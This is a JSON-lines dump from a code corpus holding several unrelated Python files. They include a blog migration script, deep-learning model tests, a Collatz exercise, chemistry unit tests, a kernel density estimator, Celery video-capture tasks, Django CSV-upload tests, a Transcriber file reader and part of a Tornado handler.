tempfile\nimport yaml\n\nDATE_RE = re.compile(r\"(\\d{4})/(\\d{2})/(\\d{2})\")\nlogger = logging.getLogger(\"rstblog-2-11ty\")\n\n\nclass Dumper(yaml.Dumper):\n # Make sure yaml lists get indented\n def increase_indent(self, flow=False, indentless=False):\n return super(Dumper, self).increase_indent(flow, False)\n\n def represent_scalar(self, tag, value, style=None):\n # Format multiline strings using |\n if tag == \"tag:yaml.org,2002:str\" and \"\\n\" in value:\n style = \"|\"\n return super().represent_scalar(tag, value, style)\n\n\ndef rst_to_pandoc_ast(source):\n with tempfile.NamedTemporaryFile(\"w\", delete=False) as fd:\n fd.write(source)\n fd.close()\n result = subprocess.run(\n [\"pandoc\", \"-f\", \"rst\", fd.name, \"-t\", \"json\"], stdout=subprocess.PIPE\n )\n return json.loads(result.stdout)\n\n\ndef pandoc_ast_to_md(tree):\n with tempfile.NamedTemporaryFile(\"w\", delete=False) as fd:\n fd.write(json.dumps(tree))\n fd.close()\n result = subprocess.run(\n [\n \"pandoc\",\n \"-f\",\n \"json\",\n fd.name,\n \"-t\",\n \"markdown_strict\",\n \"--atx-headers\",\n \"--reference-links\",\n \"--reference-location=section\",\n ],\n stdout=subprocess.PIPE,\n )\n return result.stdout.decode(\"utf-8\")\n\n\ndef convert_rst_to_md(source, ast_filter=None):\n ast = rst_to_pandoc_ast(source)\n if ast_filter is not None:\n ast_filter(ast)\n return pandoc_ast_to_md(ast)\n\n\ndef convert_page(source, add_to_header=None):\n raw_header, content = source.split(\"\\n\\n\\n\", 1)\n header = {}\n\n # Convert body\n def hoist_title(ast):\n if ast[\"blocks\"][0][\"t\"] == \"Header\":\n node = ast[\"blocks\"].pop(0)\n title = \" \".join(n[\"c\"] for n in node[\"c\"][2] if n[\"t\"] == \"Str\")\n header[\"title\"] = title\n\n content = convert_rst_to_md(content, ast_filter=hoist_title)\n\n # Adjust header\n header.update(yaml.safe_load(raw_header))\n if add_to_header:\n header.update(add_to_header)\n # De-listify images and headline\n if \"image\" in header:\n header[\"image\"] = header[\"image\"][0]\n if \"headline\" in header:\n header[\"headline\"] = header[\"headline\"][0]\n # Convert rst in summary\n if \"summary\" in header:\n header[\"summary\"] = convert_rst_to_md(header[\"summary\"])\n # Translate public flag to eleventyExcludeFromCollections\n if not header.get(\"public\"):\n header.pop(\"public\")\n header[\"eleventyExcludeFromCollections\"] = True\n header = yaml.dump(header, Dumper=Dumper, sort_keys=False)\n\n result = f\"---\\n{header}---\\n\\n{content}\"\n return result\n\n\ndef migrate(path, target_dir):\n target = os.path.join(\n target_dir, os.path.splitext(os.path.basename(path))[0] + \".md\"\n )\n logger.info(f\"Migrating {path} to {target}\")\n\n with open(path, \"r\") as f:\n before = f.read()\n\n add_to_header = {}\n m = DATE_RE.search(path)\n if m is not None:\n add_to_header[\"date\"] = datetime.date(*map(int, m.groups()))\n\n try:\n after = convert_page(before, add_to_header)\n except Exception:\n raise Exception(f\"Error while converting {path}\")\n\n with open(target, \"w\") as f:\n f.write(after)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n\n parser = argparse.ArgumentParser(description=\"Convert rstblog to 11ty.\")\n parser.add_argument(\"files\", metavar=\"N\", nargs=\"+\", help=\"Source files\")\n args = parser.parse_args()\n\n if len(args.files) == 1:\n target = \".\"\n else:\n target = args.files.pop()\n if not os.path.exists(target):\n logger.info(f\"Creating target {target}\")\n os.makedirs(target)\n for path in args.files:\n migrate(path, target)\n","sub_path":"migrate.py","file_name":"migrate.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"557555624","text":"# \"\"\"\n# =================================================\n# @Project -> File :AIStudio -> MnasNetPaddleTe.py\n# @IDE :PyCharm\n# @Author :IsHuuAh\n# @Date :2021/8/12 18:07 \n# @email :18019050827@163.com\n# ==================================================\n# \"\"\"\n# !/usr/bin/env Python3\n# -*- coding: utf-8 -*-\n\nimport MnasNetAllPaddle\nimport MnasNetTorch\nimport numpy as np\n\nimport paddle\nimport torch\n\nif __name__ == \"__main__\":\n device = paddle.device.get_device()\n\n # paddlepaddle;\n model_paddle = MnasNetAllPaddle.mnasnetb1_0(pretrained=True)\n model_paddle.to(device=device)\n model_paddle.eval()\n\n # pytorch;\n model_torch = MnasNetTorch.mnasnet1_0(pretrained=True)\n model_torch.cuda()\n model_torch.eval()\n\n # fake tensor;\n np.random.seed(322)\n inp_tensor = np.random.random(size=(1, 3, 256, 256)).astype('float32')\n inp_paddle = paddle.to_tensor(inp_tensor).cuda()\n inp_torch = torch.tensor(inp_tensor).cuda()\n print(inp_paddle.dtype)\n print(inp_torch.dtype)\n\n print(\"mnasnetb1_0 output of paddlepaddle\\n\", model_paddle(inp_paddle))\n print(\"mnasnetb1_0 output of pytorch\\n\", model_torch(inp_torch))\n","sub_path":"MnasNetPaddleTe.py","file_name":"MnasNetPaddleTe.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"191314788","text":"number = input(\"Enter a Number: \")\n\n\n\ndef collatz(number):\n try:\n number = int(number)\n\n if number % 2 == 0:\n new_num = number // 2\n print(new_num)\n return new_num\n\n elif number % 2 == 1:\n new_num = 3 * number + 1\n print(new_num)\n return new_num\n except ValueError:\n print(\"Error: Use an integer\")\n raise\n\n\ncol_number = collatz(number)\n\nwhile col_number != 1:\n col_number = collatz(col_number)\n","sub_path":"practice_projects/Collatz.py","file_name":"Collatz.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"640342115","text":"# coding=utf-8\n\"\"\"\nsynbiochem (c) University of Manchester 2018\n\nsynbiochem is licensed under the MIT License.\n\nTo view a copy of this license, visit .\n\n@author: neilswainston\n\"\"\"\n# pylint: disable=no-member\nimport unittest\n\nimport rdkit.Chem\n\nfrom jtnn.chemutils import copy_edit_mol, dfs_assemble, set_atommap\nfrom jtnn.mol_tree import MolTree\n\n\nclass Test(unittest.TestCase):\n \"\"\"Test class for chemutils.\"\"\"\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Setup class.\"\"\"\n cls.__smiles = ['CCC(C)CO', # chiral\n 'Oc1ccccc1'] # ring (phenol)\n\n def test_tree(self):\n \"\"\"test_tree.\"\"\"\n for smiles in self.__smiles:\n tree = MolTree(smiles)\n\n self.assertTrue(tree.get_nodes())\n\n for node in tree.get_nodes():\n self.assertTrue(node.get_smiles())\n self.assertTrue(all([neighbour.get_smiles()\n for neighbour in node.get_neighbors()]))\n\n def test_decode(self):\n \"\"\"test_decode.\"\"\"\n for smiles in self.__smiles:\n tree = MolTree(smiles)\n tree.recover()\n\n cur_mol = copy_edit_mol(tree.get_nodes()[0].get_mol())\n global_amap = [{}] + [{} for _ in tree.get_nodes()]\n global_amap[1] = {atom.GetIdx(): atom.GetIdx()\n for atom in cur_mol.GetAtoms()}\n\n dfs_assemble(cur_mol, global_amap, [], tree.get_nodes()[0],\n None)\n\n cur_mol = cur_mol.GetMol()\n cur_mol = rdkit.Chem.MolFromSmiles(rdkit.Chem.MolToSmiles(cur_mol))\n set_atommap(cur_mol)\n dec_smiles = rdkit.Chem.MolToSmiles(cur_mol)\n\n gold_smiles = rdkit.Chem.MolToSmiles(\n rdkit.Chem.MolFromSmiles(smiles))\n\n if gold_smiles != dec_smiles:\n print(gold_smiles, dec_smiles)\n\n self.assertEqual(gold_smiles, dec_smiles)\n\n def test_enum(self):\n \"\"\"test_enum.\"\"\"\n for smiles in self.__smiles:\n tree = MolTree(smiles)\n tree.recover()\n tree.assemble()\n for node in tree.get_nodes():\n if node.get_label() not in node.get_candidates():\n print(tree.get_smiles())\n print(node.get_smiles(),\n [x.get_smiles() for x in node.get_neighbors()])\n print(node.get_label(), len(node.get_candidates()))\n\n\nif __name__ == '__main__':\n # import sys;sys.argv = ['', 'Test.testName']\n unittest.main()\n","sub_path":"jtnn/test/test_chemutils.py","file_name":"test_chemutils.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"300499553","text":"from abc import abstractmethod\n\nfrom kernel_exp_family.estimators.estimator_oop import EstimatorBase\ntry:\n from kernel_exp_family.estimators.parameter_search_bo import BayesOptSearch\nexcept ImportError:\n print(\"Could not import BayesOptSearch.\")\nfrom kernel_exp_family.kernels.kernels import gaussian_kernel, \\\n gaussian_kernel_grad, theano_available\nfrom kernel_exp_family.tools.assertions import assert_array_shape\nfrom kernel_exp_family.tools.log import Log\nimport numpy as np\nimport scipy\n\nif theano_available:\n from kernel_exp_family.kernels.kernels import gaussian_kernel_hessian_theano, \\\n gaussian_kernel_third_order_derivative_tensor_theano\n \nlogger = Log.get_logger()\n\ndef compute_b_and_C(X, Y, K_XY, sigma):\n assert X.shape[1] == Y.shape[1]\n assert K_XY.shape[0] == X.shape[0]\n assert K_XY.shape[1] == Y.shape[0]\n \n XY = np.sum(np.expand_dims(X, 1)*Y, 2)\t# (K, K)\n diag_XY = np.diag(np.diag(XY))\n KK_XY = np.dot(K_XY, K_XY)\n K_odot_XY = K_XY * XY\n KK_odot_XY = KK_XY * XY\n \n b = np.dot(K_XY, np.dot(diag_XY, K_XY)) + KK_odot_XY \\\n - np.dot(K_odot_XY, K_XY) - np.dot(K_XY, K_odot_XY)\n b = np.sum(b, 1) #* sigma / 2.\t# shape (K)\n C = XY * np.dot(K_XY, KK_XY) + np.dot(K_XY, np.dot(K_odot_XY, K_XY)) \\\n - np.dot(KK_odot_XY, K_XY) - np.dot(K_XY, KK_odot_XY)\t# shape (K, K)\n \n return b, C\n\ndef IMQ_kernel(X, Y, sigma=1.0, b = -0.5):\n assert X.shape[1] == Y.shape[1]\n sq_dists = scipy.spatial.distance.cdist(X, Y, 'sqeuclidean')\n return (1.0 + sq_dists / sigma) ** b\n\ndef fit(X, Y, sigma, lmbda, K=None):\n \n # compute kernel matrix if needed\n if K is None:\n #if X.shape[0] > 100:\n # ind = np.random.permutation(range(X.shape[0]))[:100]\n # X = X[ind]\n # Y = Y[ind]\n K = gaussian_kernel(X, Y, sigma=sigma)\n \n # compute helper matrices\n b, C = compute_b_and_C(X, Y, K, sigma) \n\n # solve regularised linear system\n a = np.linalg.solve(C + (K + np.eye(len(C))) * lmbda, b)\n \n return a\n \ndef objective(X, Y, sigma, lmbda, alpha, K=None, K_XY=None, b=None, C=None):\n # restrict shape\n #if X.shape[0] > 100:\n # ind = np.random.permutation(range(X.shape[0]))[:100]\n # X = X[ind]\n if X.shape[0] != Y.shape[0]:\n Y = np.copy(X)\n if K_XY is None:\n K_XY = gaussian_kernel(X, Y, sigma=sigma)\n \n if K is None and lmbda > 0:\n if X is Y:\n K = K_XY\n else:\n K = gaussian_kernel(X, sigma=sigma)\n \n if b is None or C is None:\n b, C = compute_b_and_C(X, Y, K_XY, sigma)\n \n NX = len(X)\n first = 2. / (NX * sigma) * alpha.dot(b)\n if lmbda > 0:\n second = 2. / (NX * sigma ** 2) * alpha.dot(\n (C + (K + np.eye(len(C))) * lmbda).dot(alpha)\n )\n else:\n second = 2. / (NX * sigma ** 2) * alpha.dot((C).dot(alpha))\n J = first + second\n return J\n\nclass KernelExpStein(EstimatorBase):\n def __init__(self, sigma, lmbda, D, N, beta = -0.49):\n self.sigma = sigma\n self.lmbda = lmbda\n self.D = D\n self.N = N\n self.beta = beta\n \n # initial RKHS function is flat\n self.alpha = np.zeros(0)\n self.X = np.zeros((0, D))\n \n def fit(self, X):\n assert_array_shape(X, ndim=2, dims={1: self.D})\n \n # sub-sample if data is larger than previously set N\n if len(X) > self.N:\n inds = np.random.permutation(len(X))[:self.N]\n self.X = X[inds]\n else:\n self.X = np.copy(X)\n \n self.fit_wrapper_()\n \n @abstractmethod\n def fit_wrapper_(self):\n K = IMQ_kernel(self.X, self.X, sigma=self.sigma, b = self.beta)\t # shape (K, K)\n self.K_inv = np.linalg.inv(K + self.lmbda * np.eye(K.shape[0]))\t# shape (K, K)\n # here self.sigma equiv to 2*sigma**2 in the paper\n K_hat = K ** ((self.beta - 1) / self.beta )\n sumK_hat = np.sum(K_hat, axis=1)[:, np.newaxis]\t# shape (K, 1)\n grad = sumK_hat * self.X - np.dot(K_hat, self.X)\n self.X_grad = self.beta * 2 / self.sigma * np.dot(self.K_inv, grad)\n\n # also fit alpha, but not used for gradients\n #self.alpha = fit(self.X, self.X, self.sigma, self.lmbda, K)\n \n def log_pdf(self, x):\n assert_array_shape(x, ndim=1, dims={0: self.D})\n \n k = gaussian_kernel(self.X, x.reshape(1, self.D), self.sigma)[:, 0]\n return np.dot(self.alpha, k)\n \n def grad(self, x):\n assert_array_shape(x, ndim=1, dims={0: self.D})\n # now x is of shape (D,)\n # assume M datapoints in x\n Kxx = 1\t# should be a scalar: Kxx = (1 + (x - x)^2 / sigma)^-0.5 = 1\n KxX = IMQ_kernel(x[np.newaxis, :], self.X, sigma=self.sigma)\t # shape (1, K)\n xX_grad = (x - self.X) * 2 * self.beta / self.sigma * KxX.T**((self.beta - 1) / self.beta)\n tmp = np.dot(KxX, self.K_inv)\t# should be of shape (1, K)\n A = Kxx + self.lmbda - np.sum(tmp * KxX)\t# should be a scalar\n B = np.dot(KxX, self.X_grad) - np.dot(tmp + 1, xX_grad)\t\t# shape (1, D) \n gradient = -B[0] / A\t# shape (D,)\n return gradient\n \n if theano_available:\n def hessian(self, x):\n \"\"\"\n Computes the Hessian of the learned log-density function.\n \n WARNING: This implementation slow, so don't call repeatedly.\n \"\"\"\n assert_array_shape(x, ndim=1, dims={0: self.D})\n \n H = np.zeros((self.D, self.D))\n for i, a in enumerate(self.alpha):\n H += a * gaussian_kernel_hessian_theano(x, self.X[i], self.sigma)\n \n return H\n \n def third_order_derivative_tensor(self, x):\n \"\"\"\n Computes the third order derivative tensor of the learned log-density function.\n \n WARNING: This implementation is slow, so don't call repeatedly.\n \"\"\"\n assert_array_shape(x, ndim=1, dims={0: self.D})\n \n G3 = np.zeros((self.D, self.D, self.D))\n for i, a in enumerate(self.alpha):\n G3 += a * gaussian_kernel_third_order_derivative_tensor_theano(x, self.X[i], self.sigma)\n \n return G3\n \n def log_pdf_multiple(self, X):\n assert_array_shape(X, ndim=2, dims={1: self.D})\n \n k = gaussian_kernel(self.X, X, self.sigma)\n return np.dot(self.alpha, k)\n \n def objective(self, X):\n assert_array_shape(X, ndim=2, dims={1: self.D})\n \n return objective(self.X, X, self.sigma, self.lmbda, self.alpha, self.K)\n\n def get_parameter_names(self):\n return ['sigma', 'lmbda']\n\nclass KernelExpSteinAdaptive(KernelExpStein):\n def __init__(self, sigma, lmbda, D, N,\n num_initial_evaluations=3, num_evaluations=3, minimum_size_learning=100,\n num_initial_evaluations_relearn=1, num_evaluations_relearn=1,\n param_bounds={'sigma': [-3, 3]}):\n KernelExpStein.__init__(self, sigma, lmbda, D, N)\n \n self.bo = None\n self.param_bounds = param_bounds\n self.num_initial_evaluations = num_initial_evaluations\n self.num_iter = num_evaluations\n self.minimum_size_learning = minimum_size_learning\n \n self.n_initial_relearn = num_initial_evaluations_relearn\n self.n_iter_relearn = num_evaluations_relearn\n \n self.learning_parameters = False\n \n def fit(self, X):\n # avoid infinite recursion from x-validation fit call\n if not self.learning_parameters and len(X) >= self.minimum_size_learning:\n self.learning_parameters = True\n if self.bo is None:\n logger.info(\"Bayesian optimisation from scratch.\")\n self.bo = BayesOptSearch(self, X, self.param_bounds, num_initial_evaluations=self.num_initial_evaluations)\n best_params = self.bo.optimize(self.num_iter)\n else:\n logger.info(\"Bayesian optimisation using prior model.\")\n self.bo.re_initialise(X, self.n_initial_relearn)\n best_params = self.bo.optimize(self.n_iter_relearn)\n \n self.set_parameters_from_dict(best_params)\n self.learning_parameters = False\n logger.info(\"Learnt %s\" % str(self.get_parameters()))\n \n # standard fit call from superclass\n KernelExpStein.fit(self, X)\n","sub_path":"hamiltonian/estimators/stein_nonparam_imq.py","file_name":"stein_nonparam_imq.py","file_ext":"py","file_size_in_byte":8699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"206178640","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom keras.utils.np_utils import to_categorical\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Conv2D, MaxPool2D, Flatten, Dropout, Dense\r\nfrom keras.optimizers import RMSprop\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.callbacks import ReduceLROnPlateau\r\n\r\ntrain = pd.read_csv('train.csv')\r\ntest = pd.read_csv('test.csv')\r\nY_train = train['label']\r\nX_train = train.drop(labels=['label'], axis=1)\r\ndel train\r\n\r\nY_train = to_categorical(Y_train, num_classes=10)\r\nX_train /= 255.0\r\nX_train = X_train.values.reshape(-1, 28, 28, 1)\r\ntest /= 255.0\r\ntest = test.values.reshape(-1, 28, 28, 1)\r\nX_train, X_val, Y_train, Y_val = train_test_split(X_train, Y_train, test_size=0.1, random_state=2)\r\n\r\nmodel = Sequential()\r\nmodel.add(Conv2D(filters=32, kernel_size=(5, 5), activation='relu', input_shape=(28, 28, 1)))\r\nmodel.add(Conv2D(filters=32, kernel_size=(5, 5), activation='relu'))\r\nmodel.add(MaxPool2D(pool_size=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\r\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\r\nmodel.add(MaxPool2D(pool_size=(2, 2), strides=(2, 2)))\r\nmodel.add(Dropout(0.25))\r\nmodel.add(Flatten())\r\nmodel.add(Dense(256, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(10, activation='softmax'))\r\nmodel.compile(optimizer=RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.0), loss='categorical_crossentropy', metrics=['accuracy'])\r\n\r\ndatagen = ImageDataGenerator(rotation_range=10, zoom_range=0.1, width_shift_range=0.1, height_shift_range=0.1)\r\ndatagen.fit(X_train)\r\nlr_reduction = ReduceLROnPlateau(monitor='val_acc', patience=3, factor=0.5, min_lr=0.00001, verbose=1)\r\nepochs = 1\r\nbatch_size = 86\r\nhistory = model.fit_generator(datagen.flow(X_train, Y_train, batch_size=batch_size), validation_data=(X_val, Y_val), epochs=epochs, steps_per_epoch=X_train.shape[0]//batch_size, callbacks=[lr_reduction], verbose=2)\r\n\r\nresults = model.predict(test)\r\nresults = np.argmax(results, axis=1)\r\nresults = pd.Series(results, name='Label')\r\nsubmission = pd.concat([pd.Series(range(1, 28001), name='ImageID'), results], axis=1)\r\nsubmission.to_csv('s4.csv', index=False)\r\n","sub_path":"DigitRecog/digitrecognizer.py","file_name":"digitrecognizer.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"265467613","text":"# -*- coding: utf-8 -*-\nu\"\"\"\n В модуле описаны задачи по записи и обработке видео\n\"\"\"\n\nfrom celery import task\nimport envoy\n\n\n@task\ndef start_capture(\n url,\n app,\n name,\n media_path,\n flash_version=\"WIN 10,2,152,32\"\n ):\n u\"\"\"\n сохранение прямого эфира с камеры наблюдения\n \"\"\"\n d = 'rtmpdump -r \"{}\" -a \"{}\" -f \"{}\" --live -y \"{}.amp\" -o {}'.format(\n url,\n app,\n flash_version,\n name,\n media_path\n )\n envoy.run(d)\n\n\ndef crop(source, ss, to, new_source):\n \"\"\"Получить запись промежутка времени из архива\"\"\"\n d = 'ffmpeg -i \"{0}\" -ss {1} -to {2} -vcodec libx264\\\n -acodec libvo_aacenc \"{3}\"'.format(\n source,\n ss,\n to,\n new_source\n )\n envoy.run(d)\n","sub_path":"stream/cameras/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"626597859","text":"from django.test import TestCase\n\nfrom io import BytesIO\n\nfrom ..services import csv_uploader\nfrom .. import constants, models\n\n\nclass TestUploadBuildingData(TestCase):\n def test_correctly_reads_csv_file_and_creates_buildings(self):\n csv_file = BytesIO(b'id,name\\n1,Building 1\\n2,Building 2')\n csv_uploader.upload(csv_file, constants.UploadFileTypes.BUILDING_DATA)\n buildings = models.Building.objects.all()\n\n building_1 = buildings[0]\n self.assertEqual(building_1.id, 1)\n self.assertEqual(building_1.name, 'Building 1')\n\n building_2 = buildings[1]\n self.assertEqual(building_2.id, 2)\n self.assertEqual(building_2.name, 'Building 2')\n\n def test_ignores_empty_lines_in_csv(self):\n csv_file = BytesIO(b'id,name\\n1,Building 1\\n,')\n csv_uploader.upload(csv_file, constants.UploadFileTypes.BUILDING_DATA)\n buildings = models.Building.objects.all()\n self.assertEqual(len(buildings), 1)\n\n def test_ignores_where_id_is_invalid_in_csv(self):\n csv_file = BytesIO(b'id,name\\n1,Building 1\\nhello,Building 2')\n csv_uploader.upload(csv_file, constants.UploadFileTypes.BUILDING_DATA)\n buildings = models.Building.objects.all()\n self.assertEqual(len(buildings), 1)\n\n def test_doesnt_fail_on_primary_key_violation(self):\n # Duplicate primary means only on building is created\n csv_file = BytesIO(b'id,name\\n1,Building 1\\n1,Building 2')\n csv_uploader.upload(csv_file, constants.UploadFileTypes.BUILDING_DATA)\n buildings = models.Building.objects.all()\n self.assertEqual(len(buildings), 1)\n","sub_path":"buildings_service/tests/test_csv_uploader.py","file_name":"test_csv_uploader.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"576754741","text":"# Ders Puani Hesaplama\n\"\"\"Kullanıcıdan Adi, Soyadi, Ogrenci Numarasi, 4 ders adi, bu derslerin Vize ve Final notlari\n istenecektir. Vize notunun % 40′ı ile Final Notunun %60′\nınin toplamı yil sonu ortalamasini verecektir. Ortalama 50‘den küçükse ekranda “KALDI“,\n 50 ve üstüyse ekranda “GEÇTİ” yazdırılacakt��r. Bu yazdirma islemi 4 ders\n icinde yapilacak ve dersler alt alta yazdirilacaktir.\"\"\"\n \nAd=input(\"Adiniz:\")\nSoyad=input(\"Soyadiniz:\")\nONo=input(\"Ogrenci No:\") \n\ndersler=[\"1.Dersin\",\"2.Dersin\",\"3.Dersin\",\"4.Dersin\"]\nfor i in dersler : \n print(i,\"Notlarini giriniz\")\n Vize,Final=int(input(\"Vize puani :\")),int(input(\"Final Puan:\"))\n ort=(Vize*0.4)+(Final*0.6)\n\n if ort<50 :\n print(Ad,Soyad,i,\"Yilsonu Orta:\",int(ort),\"Kaldi\")\n else:\n print(Ad,Soyad,i,\"Yilsonu ort :\",int(ort),\"Gecti\")\n \n\n\n","sub_path":"grade.py","file_name":"grade.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"18077483","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------------------\n# ___ __ __ __ ___\n# / | \\ | \\ | \\ / Automatic\n# \\__ |__/ |__/ |___| \\__ Annotation\n# \\ | | | | \\ of\n# ___/ | | | | ___/ Speech\n# =============================\n#\n# http://sldr.org/sldr000800/preview/\n#\n# ---------------------------------------------------------------------------\n# developed at:\n#\n# Laboratoire Parole et Langage\n#\n# Copyright (C) 2015 Brigitte Bigi\n#\n# Use of this software is governed by the GPL, v3\n# This banner notice must not be removed\n# ---------------------------------------------------------------------------\n#\n# SPPAS is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# SPPAS is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with SPPAS. If not, see .\n#\n# ---------------------------------------------------------------------------\n# File: transcriber.py\n# ---------------------------------------------------------------------------\n\n__docformat__ = \"\"\"epytext\"\"\"\n__authors__ = \"\"\"Brigitte Bigi (brigitte.bigi@gmail.com)\"\"\"\n__copyright__ = \"\"\"Copyright (C) 2011-2015 Brigitte Bigi\"\"\"\n\n\n# ----------------------------------------------------------------------------\n# Imports\n# ----------------------------------------------------------------------------\n\nimport xml.etree.cElementTree as ET\n\nfrom annotationdata.transcription import Transcription\nfrom annotationdata.label.label import Label\nfrom annotationdata.ptime.interval import TimeInterval\nfrom annotationdata.ptime.point import TimePoint\nfrom annotationdata.annotation import Annotation\n\n# ----------------------------------------------------------------------------\n\ndef add_at_label_end(tier, annotation, labelString):\n oldlabel = annotation.GetLabel().GetValue()\n labelString = oldlabel + labelString\n newAnnotation = Annotation(annotation.GetLocation(),\n Label(labelString))\n\n for i in range(0, len(tier)):\n if tier[i] is annotation:\n tier.Pop(i)\n break\n tier.Add(newAnnotation)\n\n# End add_at_label_end\n# ----------------------------------------------------------------------------\n\nclass Transcriber(Transcription):\n \"\"\"\n @authors: Brigitte Bigi\n @contact: brigitte.bigi@gmail.com\n @license: GPL, v3\n @summary: Represents a Transcription from Transcriber.\n\n trs files are the native file format of the GPL tool Transcriber:\n a tool for segmenting, labelling and transcribing speech.\n\n See http://trans.sourceforge.net/en/presentation.php\n Notice that Transcriber is a very old software... deprecated!\n\n \"\"\"\n\n def __init__(self, name=\"NoName\", mintime=0., maxtime=0.):\n \"\"\"\n Creates a new Transcriber Transcription instance.\n \"\"\"\n Transcription.__init__(self, name, mintime, maxtime)\n\n # ------------------------------------------------------------------------\n\n @staticmethod\n def detect(filename):\n with codecs.open(filename, 'r', 'utf-8') as it:\n it.next()\n doctypeLine = it.next().strip()\n\n return doctypeLine == ''\n\n # End detect\n # ------------------------------------------------------------------------\n\n def __read_turn(self, turnRoot):\n turnBegin = float(turnRoot.attrib['startTime'])\n turnEnd = float(turnRoot.attrib['endTime'])\n speakers = (turnRoot.attrib['speaker'].split()\n if 'speaker' in turnRoot.attrib\n else [])\n\n if len(speakers) == 0:\n tier = self[0]\n elif len(speakers) == 1:\n tier = self.Find('Trans'+speakers[0])\n else:\n tier = None\n\n begin = turnBegin\n\n # handle text direcltly inside the Turn\n if turnRoot.text.strip() != '':\n # create new annotation without end\n prevAnnotation = Annotation(TimeInterval(TimePoint(begin),\n TimePoint(turnEnd)),\n Label(turnRoot.text))\n tier.Add(prevAnnotation)\n else:\n prevAnnotation = None\n\n for node in turnRoot.iter():\n if node.tag == 'Sync':\n begin = float(node.attrib['time'])\n if prevAnnotation is not None:\n prevAnnotation.GetLocation().SetEnd(TimePoint(begin))\n\n elif node.tag == 'Who':\n index = int(node.attrib['nb']) - 1\n tier = self.Find('Trans'+speakers[index])\n\n elif node.tag == 'Event':\n if prevAnnotation is None:\n prevAnnotation = Annotation(TimeInterval(TimePoint(begin),\n TimePoint(turnEnd)\n ),\n Label())\n tier.Add(prevAnnotation)\n\n description = node.attrib['desc']\n extent = (node.attrib['extent']\n if 'extent' in node.attrib\n else '')\n if description == 'rire':\n if extent == 'begin' or extent == 'end':\n add_at_label_end(tier, prevAnnotation, ' @@ ')\n else:\n add_at_label_end(tier, prevAnnotation, ' @ ')\n elif description == 'i':\n add_at_label_end(tier, prevAnnotation, ' * ')\n else:\n add_at_label_end(tier,\n prevAnnotation, '(%s) ' % description)\n\n if node.tail.strip() != \"\":\n # create new annotation without end\n newAnnotation = Annotation(TimeInterval(TimePoint(begin),\n TimePoint(turnEnd)\n ),\n Label(node.tail))\n tier.Add(newAnnotation)\n # end the previous annotation\n prevAnnotation = newAnnotation\n\n # ------------------------------------------------------------------------\n\n def read(self, filename):\n \"\"\"\n Import a transcription from a .trs file.\n\n @param filename: (str)\n\n \"\"\"\n tree = ET.parse(filename)\n root = tree.getroot()\n\n # One Tier by speaker is created depending on the \"Speaker\" nodes\n for speaker in root.iter('Speaker'):\n # create a new tier with the speaker ID\n tiername = speaker.attrib['id'].strip()\n newtier = self.NewTier('Trans'+tiername)\n # set the metadata to this tier\n for key in speaker.attrib:\n newtier.metadata[key] = speaker.attrib[key]\n\n # test if the transcription is empty (=no speaker)\n if self.IsEmpty():\n self.NewTier('Trans')\n\n # Examine only the \"Turn\" nodes\n for turnRoot in root.iter('Turn'):\n self.__read_turn(turnRoot)\n\n # Update\n self.SetMinTime(0)\n self.SetMaxTime(self.GetEnd())\n\n # End read\n # ------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n","sub_path":"sppas/src/annotationdata/io/transcriber.py","file_name":"transcriber.py","file_ext":"py","file_size_in_byte":8025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"636326806","text":"#!/usr/bin/env python2\n# -*- encoding: utf-8 -*-\n# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:\nimport os\nimport linecache\nfrom collections import Counter\nimport logging\nimport tornado.web\nimport tornado.websocket\nfrom tornado.web import HTTPError\nfrom tornado.options import options\nfrom tornado.template import Loader\nsite_config = {\n \"title\" : \"IceHoney!\",\n \"url\" : \"\"\"https://blog.icehoney.me\"\"\",\n \"post_dir\": os.getcwd() + os.sep + 'posts',\n}\n__ALL__ = ['HTTPError', 'BaseHandler', 'BaseWebSocket', 'BaseUIModule', ]\n\ndef TagsReader(post_dir):\n tags=[]\n files=os.listdir(post_dir)\n for f in files:\n if f.startswith('.'):\n continue\n post_path = site_config[\"post_dir\"] + os.sep+f\n tag=linecache.getline(post_path, 